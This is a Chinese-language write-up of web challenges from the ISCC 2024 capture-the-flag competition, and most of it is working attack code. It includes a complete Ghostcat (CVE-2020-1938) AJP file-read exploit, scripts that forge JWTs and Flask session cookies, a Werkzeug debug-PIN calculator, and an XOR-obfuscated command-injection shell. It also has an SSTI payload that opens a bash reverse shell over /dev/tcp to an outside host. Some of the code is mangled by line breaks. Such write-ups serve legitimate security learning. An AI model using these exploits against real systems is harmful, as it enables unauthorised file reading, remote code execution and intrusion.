ISCC2024个人挑战赛WP-WEB

(非官方解,以下内容均互联网收集的信息和个人思路,仅供学习参考) 

还没想好名字的塔防游戏

GET /world.js HTTP/1.1

Host: 101.200.138.180:17345

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Mystic Defense War: The Secret of Guardian Towers and Magical Monsters

Eagles Sculpt Clouds Silver Lakes Glitter Wolves Whisper Moonlight

ISCC{MDWTSGTMMESCSLGWWM}

游戏英文名和提示的所有英文大写拼起来就是flag

代码审计

和这个思路基本吻合

De1ctf之SSRF ME多种方法-CSDN博客

原神启动

随便访问了一个路径,显示文件不存在,404错误,下面给出了Apache Tomcat的版本8.5.32

可以看到这个版本存在CVE漏洞

CVE-2020-1938       任意文件读取

拿通用Poc就能打。

import struct

def pack_string(s):

    if s is None:

        return struct.pack(">h", -1)

    l = len(s)

    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)

def unpack(stream, fmt):

    size = struct.calcsize(fmt)

    buf = stream.read(size)

    return struct.unpack(fmt, buf)

def unpack_string(stream):

    size, = unpack(stream, ">h")

    if size == -1: # null string

        return None

    res, = unpack(stream, "%ds" % size)

    stream.read(1) # \0

    return res

class NotFoundException(Exception):

    pass

class AjpBodyRequest(object):

    # server == web server, container == servlet

    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)

    MAX_REQUEST_LENGTH = 8186

    def __init__(self, data_stream, data_len, data_direction=None):

        self.data_stream = data_stream

        self.data_len = data_len

        self.data_direction = data_direction

    def serialize(self):

        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)

        if len(data) == 0:

            return struct.pack(">bbH", 0x12, 0x34, 0x00)

        else:

            res = struct.pack(">H", len(data))

            res += data

        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:

            header = struct.pack(">bbH", 0x12, 0x34, len(res))

        else:

            header = struct.pack(">bbH", 0x41, 0x42, len(res))

        return header + res

    def send_and_receive(self, socket, stream):

        while True:

            data = self.serialize()

            socket.send(data)

            r = AjpResponse.receive(stream)

            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:

                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:

                break

class AjpForwardRequest(object):

    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)

    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}

    # server == web server, container == servlet

    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)

    COMMON_HEADERS = ["SC_REQ_ACCEPT",

        "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",

        "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",

        "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"

    ]

    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]

    def __init__(self, data_direction=None):

        self.prefix_code = 0x02

        self.method = None

        self.protocol = None

        self.req_uri = None

        self.remote_addr = None

        self.remote_host = None

        self.server_name = None

        self.server_port = None

        self.is_ssl = None

        self.num_headers = None

        self.request_headers = None

        self.attributes = None

        self.data_direction = data_direction

    def pack_headers(self):

        self.num_headers = len(self.request_headers)

        res = ""

        res = struct.pack(">h", self.num_headers)

        for h_name in self.request_headers:

            if h_name.startswith("SC_REQ"):

                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1

                res += struct.pack("BB", 0xA0, code)

            else:

                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])

        return res

    def pack_attributes(self):

        res = b""

        for attr in self.attributes:

            a_name = attr['name']

            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1

            res += struct.pack("b", code)

            if a_name == "req_attribute":

                aa_name, a_value = attr['value']

                res += pack_string(aa_name)

                res += pack_string(a_value)

            else:

                res += pack_string(attr['value'])

        res += struct.pack("B", 0xFF)

        return res

    def serialize(self):

        res = ""

        res = struct.pack("bb", self.prefix_code, self.method)

        res += pack_string(self.protocol)

        res += pack_string(self.req_uri)

        res += pack_string(self.remote_addr)

        res += pack_string(self.remote_host)

        res += pack_string(self.server_name)

        res += struct.pack(">h", self.server_port)

        res += struct.pack("?", self.is_ssl)

        res += self.pack_headers()

        res += self.pack_attributes()

        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:

            header = struct.pack(">bbh", 0x12, 0x34, len(res))

        else:

            header = struct.pack(">bbh", 0x41, 0x42, len(res))

        return header + res

    def parse(self, raw_packet):

        stream = StringIO(raw_packet)

        self.magic1, self.magic2, data_len = unpack(stream, "bbH")

        self.prefix_code, self.method = unpack(stream, "bb")

        self.protocol = unpack_string(stream)

        self.req_uri = unpack_string(stream)

        self.remote_addr = unpack_string(stream)

        self.remote_host = unpack_string(stream)

        self.server_name = unpack_string(stream)

        self.server_port = unpack(stream, ">h")

        self.is_ssl = unpack(stream, "?")

        self.num_headers, = unpack(stream, ">H")

        self.request_headers = {}

        for i in range(self.num_headers):

            code, = unpack(stream, ">H")

            if code > 0xA000:

                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]

            else:

                h_name = unpack(stream, "%ds" % code)

                stream.read(1) # \0

            h_value = unpack_string(stream)

            self.request_headers[h_name] = h_value

    def send_and_receive(self, socket, stream, save_cookies=False):

        res = []

        i = socket.sendall(self.serialize())

        if self.method == AjpForwardRequest.POST:

            return res

        r = AjpResponse.receive(stream)

        assert r.prefix_code == AjpResponse.SEND_HEADERS

        res.append(r)

        if save_cookies and 'Set-Cookie' in r.response_headers:

            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets

        while True:

            r = AjpResponse.receive(stream)

            res.append(r)

            if r.prefix_code == AjpResponse.END_RESPONSE:

                break

            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:

                continue

            else:

                raise NotImplementedError

                break

        return res

class AjpResponse(object):

    _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)

    COMMON_SEND_HEADERS = [

            "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",

            "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"

            ]

    def parse(self, stream):

        # read headers

        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:

            self.parse_send_headers(stream)

        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:

            self.parse_send_body_chunk(stream)

        elif self.prefix_code == AjpResponse.END_RESPONSE:

            self.parse_end_response(stream)

        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:

            self.parse_get_body_chunk(stream)

        else:

            raise NotImplementedError

    def parse_send_headers(self, stream):

        self.http_status_code, = unpack(stream, ">H")

        self.http_status_msg = unpack_string(stream)

        self.num_headers, = unpack(stream, ">H")

        self.response_headers = {}

        for i in range(self.num_headers):

            code, = unpack(stream, ">H")

            if code <= 0xA000: # custom header

                h_name, = unpack(stream, "%ds" % code)

                stream.read(1) # \0

                h_value = unpack_string(stream)

            else:

                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]

                h_value = unpack_string(stream)

            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):

        self.data_length, = unpack(stream, ">H")

        self.data = stream.read(self.data_length+1)

    def parse_end_response(self, stream):

        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):

        rlen, = unpack(stream, ">H")

        return rlen

    @staticmethod

    def receive(stream):

        r = AjpResponse()

        r.parse(stream)

        return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):

    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)

    fr.method = method

    fr.protocol = "HTTP/1.1"

    fr.req_uri = req_uri

    fr.remote_addr = target_host

    fr.remote_host = None

    fr.server_name = target_host

    fr.server_port = 80

    fr.request_headers = {

        'SC_REQ_ACCEPT': 'text/html',

        'SC_REQ_CONNECTION': 'keep-alive',

        'SC_REQ_CONTENT_LENGTH': '0',

        'SC_REQ_HOST': target_host,

        'SC_REQ_USER_AGENT': 'Mozilla',

        'Accept-Encoding': 'gzip, deflate, sdch',

        'Accept-Language': 'en-US,en;q=0.5',

        'Upgrade-Insecure-Requests': '1',

        'Cache-Control': 'max-age=0'

    }

    fr.is_ssl = False

    fr.attributes = []

    return fr

class Tomcat(object):

    def __init__(self, target_host, target_port):

        self.target_host = target_host

        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        self.socket.connect((target_host, target_port))

        self.stream = self.socket.makefile("rb", bufsize=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):

        self.req_uri = req_uri

        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))

        print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))

        if user is not None and password is not None:

            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')

        for h in headers:

            self.forward_request.request_headers[h] = headers[h]

        for a in attributes:

            self.forward_request.attributes.append(a)

        responses = self.forward_request.send_and_receive(self.socket, self.stream)

        if len(responses) == 0:

            return None, None

        snd_hdrs_res = responses[0]

        data_res = responses[1:-1]

        if len(data_res) == 0:

            print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)

        return snd_hdrs_res, data_res

'''

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

'''

import argparse

parser = argparse.ArgumentParser()

parser.add_argument("target", type=str, help="Hostname or IP to attack")

parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")

parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")

args = parser.parse_args()

t = Tomcat(args.target, args.port)

_,data = t.perform_request('/asdf',attributes=[

    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},

    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},

    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},

    ])

print('----------------------------')

print("".join([d.data for d in data]))

前面题目提示了flag在flag.txt,但根目录的flag.txt是假的flag,那么可以去Java的WEB默认目录WEB-INF找,发现在/WEB-INF/flag.txt下

python2 1.py -101.200.138.180 -p 8009 -f /WEB-INF/flag.txt

Flask中的pin值计算

要计算flask pin的码,首先拿到几个参数,按以下步骤,

1、先看源码 L2dldHVzZXJuYW1l,解密/getusername,问田螺“告诉我username是什么”,拿到username是pincalculate

访问该路由输入app之后提示访问/crawler,需要在1秒内计算,写个代码,

import requests

url1='http://101.200.138.180:10006/crawler?answer='
url='http://101.200.138.180:10006/get_expression'
s = requests.Session()
res=s.get(url)
math=res.text.split('"')
math1=math[3].replace("\\u00d7",'*').replace('\\u00f7','/')
result = eval(math1)
result=str(result)
res2=s.get(url1+result)
print(res2.text)

得到结果

<h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1>
<h1>uuidnode_mac位于/woddenfish</h1>

2、继续访问/woddenfish路由,点击多少次都是显示公德不足,查看一下源码拿到jwt是eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOjF9.gT7yG_zYb22iGVXcGtSVzYr-fAeb_Nyv4KbeH3Ez8hc,解jwt得到{ "name": "donate","quantity": 1},代码获取公德值是这一段

document.querySelector('h1').textContent = '当前功德:' + data.gongde;
                document.querySelectorAll('h1')[1].textContent = data.message;

那么我们要先将donate换成gongde,然后quantity设置很大,根据源码jwt的key是ISCC_muyu_2024

构造jwt如下,拿到jwt为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZ29uZ2RlIiwicXVhbnRpdHkiOjEwMDAwMDAwMDAwMDAwMDAwMH0.x6-VS-GxFVLdgjkP6eDWWg1qSuFBe6hZntt5GHUysho

image

然后传jwt,得到了,佛曰:功德圆满。地址02:42:ac:18:00:02:,机器码提示给你了/machine_id

image

3、继续访问/machine_id路由,点一下vip拿到一个jwt,点supervip身份无法匹配,解jwt是

{
  "exp": 1714575775,
  "iat": 1714572175,
  "jti": "XAPsSANxSpKZ_nnYpP8C7A",
  "nbf": 1714572175,
  "role": "member",
  "username": "ISCCmember"
}

需要改role为supervip才行,使用脚本构造jwt

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode


def topic(topic):
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload["role"] = "vip"
    print(dumps(parsed_payload, separators=(',', ':')))
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    print(fake_payload)
    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '

print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ'))
#{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9","signature":"YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ"}

使用构造好的传参

GET /vipprice?token={"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9","payload":"eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9","signature":"YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ"}

得到结果"welcome_to_iscc_club",应该就是supervip的key,用flask_session_cookie_manager3.py

python flask_session_cookie_manager3.py encode -s "welcome_to_iscc_club" -t "{'role': 'supervip'}"

伪造成 eyJyb2xlIjoic3VwZXJ2aXAifQ.ZjIBhQ.2jMkekdDuFQCN5L61z9ee0C0Big,改cookie 后点supervip得到

acff8a1c-6825-4b9b-b8e1-8983ce1a8b94,这就是machine-id了,自此我们都拿到了

username:pincalculate
modname:flask.app #默认
appname:Flask  #默认
app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode mac:2485378351106 #
machine_id 机器码:acff8a1c-6825-4b9b-b8e1-8983ce1a8b94

pin脚本跑一下

import hashlib
from itertools import chain
probably_public_bits = [
    'pincalculate',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485378351106',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)
#252-749-991

payload:http://101.200.138.180:10006/console?pin=252-749-991

Web 掉进阿帕奇的工资

  1. 前台功能点测试,发现通过重置密保1取得manager身份登录后台

101.200.138.180_60000_regist.php (1)

101.200.138.180_60000_forgetpass.php (1)

101.200.138.180_60000_home_IS7oKu30kO1sJ99TFgAdN8yV43fvwb2GPiRWBtm65407xMe8.php (1)

  1. 对功能点进行测试,发现工资页面是异或的命令执行,编写exp反弹shell

  1. 信息搜集发现有一个部分的Docfile,结合题意深入阴暗面,猜测需要横向。

  1. 反弹shell之后,用PHP CLI构造一个GET请求,得到响应验证的确是一个nginx服务,访问/flag拿到flag:

php -r "\$url = 'http://secret.host/flag'; \$options = ['http' => ['ignore_errors' => true]]; \$context = stream_context_create(\$options); \$content = file_get_contents(\$url, false, \$context); if (\$content !== false) { echo \$content; } else { echo 'Failed to fetch content.'; }"

Exp

import requests

from bs4 import BeautifulSoup

import re

headers = {

    "Origin": "http://101.200.138.180:60000",

    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36",

}

cookies = {

    "PHPSESSID": "",

}

preg_match = "flag|system|php|cat|sort|shell|\.| |'|\`|echo|\;|\(|\""

alphabet = [chr(i) for i in range(256)]

# print(alphabet)

alphabet = [c for c in alphabet if not re.match(preg_match, c)]

xor_alphabet = {}

for a in alphabet:

    for b in alphabet:

        if a == "'" or b == "'" or a == '"' or b == '"':

            continue

        c = chr(ord(a) ^ ord(b))

        if not xor_alphabet.get(c):

            xor_alphabet[c] = (a, b)

def xor_encode(payload):

    s1 = ""

    s2 = ""

    for c in payload:

        if c not in xor_alphabet:

            raise Exception(f"Invalid character '{c}' in payload")

        s1 += xor_alphabet[c][0]

        s2 += xor_alphabet[c][1]

return s1, s2

def runcmd(cmd):

    # URL and headers for the POST request

url = "http://101.200.138.180:60000/gongzi_iscc.php"

    # Encoding the command

basic_salary, performance_coefficient = xor_encode(cmd)

    # print(f"basic_salary: {basic_salary}")

# print(f"performance_coefficient: {performance_coefficient}")

    # Preparing the POST data

    data = {

        "basicSalary": basic_salary,

        "performanceCoefficient": performance_coefficient,

        "calculate": "1",

}

    # Sending the POST request

response = requests.post(url, headers=headers, cookies=cookies, data=data)

# print(response.text)

    # Parse the HTML with BeautifulSoup

soup = BeautifulSoup(response.text, "html.parser")

    # Extract the value from <div class="result-box">

    result_box = soup.find("div", class_="result-box")

    if result_box:

        extracted_value = (

            result_box.text.strip()

        )  # Using strip() to remove any surrounding whitespace

        # Remove the input command from the output if it appears

        return extracted_value

    else:

        return "None"

def get():

    payload = f"php -r \"\\$base_url = 'http://secret.host/'; \\$query_string = '';  \\$url = \\$base_url . '?' . \\$query_string; \\$options = ['http' => ['ignore_errors' => true]]; \\$context = stream_context_create(\\$options); \\$response = @get_headers(\\$url, 1, \\$context); print_r(\\$response);\""

return runcmd(payload)

def main():

    while True:

        cmd = input(">>").strip()

        if cmd == "exit":

            break

        print(runcmd(cmd))

if __name__ == "__main__":

    main()

回来吧永远滴神

查看网页源代码,提示第一个 Flag 在看得见的地方:
提交答案进入隐藏关卡:
判断是 SSTI ,并且存在 waf

SSTI一把梭反弹shell

import functools
import time
import requests
from fenjing import exec_cmd_payload
url = "http://101.200.138.180:16356/evlelLL/646979696775616e"
# session=eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.ZkQrdg.TTUE-T5iRTAmIfSy5szAO9ZMgkA
cookies = {
'session' : 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.ZkQrdg.TTUE
T5iRTAmIfSy5szAO9ZMgkA'
}
@functools . lru_cache ( 1000 )
def waf ( payload : str ): # 如果字符串 s 可以通过 waf 则返回 True, 否则返回 False
time . sleep ( 0.02 ) # 防止请求发送过多
resp = requests . post ( url , headers = headers , cookies = cookies , timeout = 10 ,
data = { "iIsGod" : payload })
# print(resp.text)
return " 大胆 " not in resp . text
if __name__ == "__main__" :
shell_payload , will_print = exec_cmd_payload (
waf , 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2336 0>&1"'
)
if not will_print :
print ( " 这个 payload 不会产生回显! " )
print ( f" { shell_payload = } " )

 跑出来payload并发送:

读到Flag[2]Flag[1] 

 源码dump下来,审计:

# -*- coding: utf-8 -*-
from flask import Flask , request , render_template , render_template_string ,
jsonify , session , redirect , url_for , current_app
from level import level
app = Flask ( import_name = __name__ ,
static_url_path = '/static' ,
static_folder = 'static' ,
template_folder = 'templates' )
app . secret_key =
'GVASDGDJGHiAsdfgmkdfjAhSljkD.IjOdrgSsddggkhukDdHAGOTJSFGLDGSADASSGDFJGHKJF
DG ' # 随机生成的安全秘钥
@app . route ( '/' )
@app . route ( '/index' )
def index ():
# Session 存储在服务器上,而 Cookie 存储在用户浏览器上
session . pop ( 'answers_correct' , None ) # session 中移
'answers_correct' 键,否则返回 None
return render_template ( 'index.html' ) # 通过 render_template 函数渲染并返回
index.html 模板
@app . route ( '/submit-answers' , methods = [ 'POST' ])
def submit_answers ():
# POST 请求中获取答案并判断是否与正确答案匹配
answer1 = request . form . get ( 'answer1' )
answer2 = request . form . get ( 'answer2' )
answer3 = request . form . get ( 'answer3' )
correct_answers = { 'answer1' : 'VN' , 'answer2' : ' 卡莎 ' , 'answer3' : ' 小狗 ' }
# 如果全部匹配,设置 session 'answers_correct' 为真并返回一个表示成功的 JSON 响应
if answer1 == correct_answers [ 'answer1' ] and answer2 ==
correct_answers [ 'answer2' ] and answer3 == correct_answers [ 'answer3' ]:
session [ 'answers_correct' ] = True
return jsonify ( success = True )
# 如果不匹配,返回一个包含错误信息的 JSON 响应
else :
return jsonify ( error = ' 对神的膜拜不够虔诚!伟大的神决定再给你一次机会,务必好
好珍惜! ' )
@app . route ( '/evlelLL/<path:hex_str>' , methods = [ 'GET' , 'POST' ])
def level1 ( hex_str ):
# 检查用户是否已经通过验证
if not session . get ( 'answers_correct' ):
return redirect ( url_for ( 'caught' )) # 如果用户 session 中不存
'answers_correct' 键(即未通过验证),重定向用户到 'caught' 路由对应的页面
decoded_str = '' # 在这里初始化 decoded_str
try :
# 尝试将 16 进制字符串解码为字节,然后解码为 utf-8 格式的字符串
decoded_str = bytes . fromhex ( hex_str ). decode ( 'utf-8' )
except ValueError :
# 如果出现解码错误,可能是因为提供的不是有效的 16 进制字符串
lev = 100
# 设置 lev 的值
if decoded_str == 'diyiguan' :
lev = 1
elif decoded_str == 'meixiangdaoba' :
lev = 2
else :
lev = 100
if request . method == "GET" : # 如果当前请求是 GET 方法,函数将渲染并返回
level.html 模板
if lev == 1 :
message = " 恭喜你发现隐藏关卡! "
placeholder = " 该提交什么呢?我可能会告诉你一些有用的信息喔! "
elif lev == 2 :
message = " 不愧是你!第二关就在这里喔! "
placeholder = " 这里需要输入的是什么呢? "
elif lev == 100 :
message = " 未知的关卡 "
placeholder = " 似乎走错了地方 "
return render_template ( "level.html" , level = lev , message = message ,
placeholder = placeholder )
try :
custom_message_1 = "\n 恭喜你!请同时收好通往最终虚空的第一条必备信息:
ch4Os_\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n"
custom_message_1_1 =
"ZTU4MWI3ZTU4MWI3ZTU5MThhZThhZjg5ZTRiZGEwZWZiYzhjZTU4NWI2ZTVhZTllZThiZjk4ZT
Y5Yzg5ZTU4ZmE2ZTVhNDk2ZTRiODgwZTU4NWIzZWZiYzgx" + \
"NmQ2NTY5Nzg2OTYxNmU2NzY0NjE2ZjYyNjE="
custom_message_2 = "\n 恭喜你!请同时收好通往最终虚空的第二条必备信息:
_xi4oHmdm"
custom_message_3 = "\n 将两条必备信息连接起来,然后访问吧! "
code = request . form . get ( 'iIsGod' ) # POST 请求的表单数据中获取名为 iIsGod
的字段值
level_func = 'level' + str ( lev ) # 动态构建字符串,用于表示函数名
call_obj = getattr ( level , level_func ) # level 模块获取名为 level_func
的函数
res = call_obj ( code ) # 将获取到的 iIsGod 字段值作为参数传递给上述函数
current_app . logger . info ( " 攻击 Payload %s" , res ) # 使用 Flask 的日志记录
功能打印结果
rendered_content = render_template_string ( " 神说: %s" % res ) # 将执行结
res 嵌入到字符串中,并使用 render_template_string 渲染
rendered = render_template_string ( "%s" % res )
current_app . logger . info ( " 回显内容: %s" , rendered_content ) # 使用 Flask
的日志记录功能打印结果
# 添加不同关卡的回显逻辑
if lev == 1 and ( res == rendered or "Flag[1]:" in rendered_content
or "_frozen_importlib_external.FileLoader" in rendered_content or "
['<', 'C', 'o', 'n', 'f',
'i', 'g'," in rendered_content ):
# if lev == 1: # debug
current_app . logger . info ( " 第一关的安全结果: %s" , rendered_content )
if "Flag[1]:" in rendered_content :
rendered_content = rendered_content + custom_message_1 +
custom_message_1_1
return rendered_content
elif lev == 2 and ( res == rendered or "Flag[2]:" in
rendered_content ):
# elif lev == 2: # debug
current_app . logger . info ( " 第二关的安全结果: %s" , rendered_content )
if "Flag[2]:" in rendered_content :
rendered_content = rendered_content + custom_message_2 +
custom_message_3
return rendered_content
else :
return " 神说: \n" + \
" 🎉 看来你的努力已经看到了回报呢 ~\n" + \
" 😺 但是,就像猫咪对着悬挂的线团,有些秘密是触碰不得的喵 ~\n" + \
" 🌟 我赞赏你的聪明才智,但秘密还是秘密,不可以全部告诉你喔 ~\n" + \
" 😉 继续探索吧,谁知道下一个转角会遇见什么呢? "
except Exception as e :
return " 好像不太对,再试试 ~"
